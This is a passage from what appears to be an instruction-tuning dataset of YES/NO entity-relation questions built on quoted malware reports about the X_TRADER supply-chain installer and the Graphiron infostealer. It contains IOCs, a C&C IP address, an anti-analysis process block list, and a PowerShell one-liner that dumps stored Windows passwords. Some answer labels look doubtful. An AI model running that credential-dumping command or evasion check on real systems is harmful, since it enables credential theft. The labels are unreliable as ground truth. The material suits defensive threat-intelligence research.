itself.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43\n### Text Passage:\nMalicious Installer\nThe infection chain starts with the Trojanized installer named X_TRADER_r7.17.90p608.exe (SHA256: 900b63ff9b06e0890bf642bdfcbfcc6ab7887c7a3c057c8e3fd6fba5ffc8e5d6), which is digitally signed by \"Trading Technologies International, Inc.\" and contains a malicious executable named Setup.exe. Our analysis of one version of this executable (SHA256: aa318070ad1bf90ed459ac34dc5254acc178baff3202d2ea7f49aaf5a055dd43) found that when executed, it examined the file named X_TRADER-ja.mst (also contained in the installer) for the following marker bytes at hardcoded offset 0x167000:\n* 5E DA F3 76\nIf the marker bytes are present, it creates a folder named:\n* C:\\Programdata\\TPM\nIt then copies the file C:\\Windows\\Sysnative\\immersivetpmvscmgrsvr.exe as C:\\Programdata\\TPM\\TpmVscMgrSvr.exe to the new folder.\nNext, it will drop two malicious DLLs:\n* C:\\Programdata\\TPM\\winscard.dll (SHA256: cc4eedb7b1f77f02b962f4b05278fa7f8082708b5a12cacf928118520762b5e2)\n* C:\\Programdata\\TPM\\msvcr100.dll (SHA256: d937e19ccb3fd1dddeea3eaaf72645e8cd64083228a0df69c60820289b1aa3c0)\nThe content of the dropped files is generated by decrypting chunks of the file X_TRADER-ja.mst mentioned earlier using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nTo achieve persistence on the victim\u2019s system, the malware invokes a CLSID_TaskScheduler COM object, possibly to create a scheduled task to run periodically the following file:\n* C:\\Programdata\\TPM\\TpmVscMgrSvr.exe\nSetup.exe then drops a file named X_TRADER.exe, also contained within the installer. The content of the dropped file is generated by decrypting chunks from one of its own portable executable resources starting at hardcoded offset 0x1CB40 using the XOR algorithm with the following key:\n* 74 F2 39 DA E5 CF\nSetup will then execute X_Trader.exe before deleting itself.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6\n### Target Entity: Graphiron\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7\n### Target Entity: Graphiron\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce\n### Target Entity: Graphiron\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1\n### Target Entity: Graphiron\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63\n### Target Entity: Graphiron\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db\n### Target Entity: Graphiron\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n208.67.104.95\n### Target Entity: C&C\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: C&C\n### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n**SHA-256:**\n0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 \u2014 Downloader.Graphiron\n878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db \u2014 Downloader.Graphiron\n80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 \u2014 Infostealer.Graphiron\neee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 \u2014 Infostealer.Graphiron\nf0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 \u2014 Infostealer.Graphiron\nf86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce \u2014 Infostealer.Graphiron\n**Network:**\n208.67.104.95 \u2014 C&C server\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Nodaria\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUAC-0056\n### Target Entity: Ukraine\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: UAC-0056\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUAC-0056\n### Target Entity: Graphiron\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Graphiron\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNodaria\n### Target Entity: Ukraine\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUAC-0056\n### Target Entity: Russia\n### Text Passage:\nGraphiron: New Russian Information Stealing Malware Deployed Against Ukraine\nRussia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers.\nThe Nodaria espionage group (UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files.\nThe earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMicrosoftOfficeDashboard.exe\n### Target Entity: Graphiron\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOfficeTemplate.exe\n### Target Entity: Graphiron\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Firefox\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Thunderbird\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the 